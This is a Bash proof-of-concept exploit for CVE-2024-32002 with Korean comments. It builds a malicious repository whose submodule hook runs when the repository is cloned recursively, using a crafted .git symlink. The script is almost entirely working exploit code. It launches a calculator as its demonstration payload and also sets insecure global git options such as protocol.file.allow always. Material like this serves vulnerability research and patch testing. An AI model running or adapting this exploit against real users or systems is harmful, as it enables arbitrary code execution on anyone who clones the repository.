
CVE-2024-32002용 Bash PoC로, 악성 하위 모듈과 심볼릭 링크가 있는 Git 클론을 악용하여 Windows 및 macOS에서 임의 명령을 실행합니다.
#!/bin/bash
# Git 구성 옵션 설정
git config --global protocol.file.allow always
git config --global core.symlinks true
# 경고 메시지 방지 (기본 브랜치를 main으로 설정)
git config --global init.defaultBranch main
# tell-tale 경로 정의
tell_tale_path="$PWD/tell.tale"
# hook 저장소 초기화
git init hook
cd hook
mkdir -p y/hooks
# 악성 코드를 hook에 작성, Windows 및 Mac 환경에 맞춤
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe
open -a Calculator.app
EOF
# hook을 실행 가능하게 설정: 중요
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# hook 저장소 경로 정의
hook_repo_path="$(pwd)/hook"
# captain 저장소 초기화
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# 심볼릭 링크 생성
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
# 로컬 테스트, GitHub에 푸시할 때는 이 기능을 사용할 필요 없음
git clone --recursive captain hooked